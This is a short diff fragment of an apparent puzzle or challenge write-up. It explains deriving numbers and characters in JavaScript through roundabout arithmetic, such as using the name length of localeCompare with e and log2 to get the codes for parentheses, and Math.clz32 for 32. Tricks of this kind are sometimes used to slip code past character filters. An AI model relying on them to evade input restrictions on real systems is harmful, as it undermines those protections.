 We need a constant with a value of 13 here, lucky us we have localeCompare with the exact length of 13, so our equation looks like this: 
 
 $$
-\mathord{\sqsupset} x = |String.localeCompare.name|
-\\
-\lfloor e^{log_2(x)} \rfloor = 40
-\\
-\lceil e^{log_2(x)} \rceil = 41

+\lceil e^{\log_2(x)} \rceil = 41

 So we can get `(` and `)` just by using the single equation, but the second problem comes in place, since `Array.push` returns the new length of `Math.seeds` we should definitely work around this because either way our `toString(radix)` would have `radix` ≠ 10.

 But how do we get 32 from 15? The easiest way to get 32 is by calling `Math.clz32(0)`, but how do we get the approximate value of 0? This is a trigonometric function.
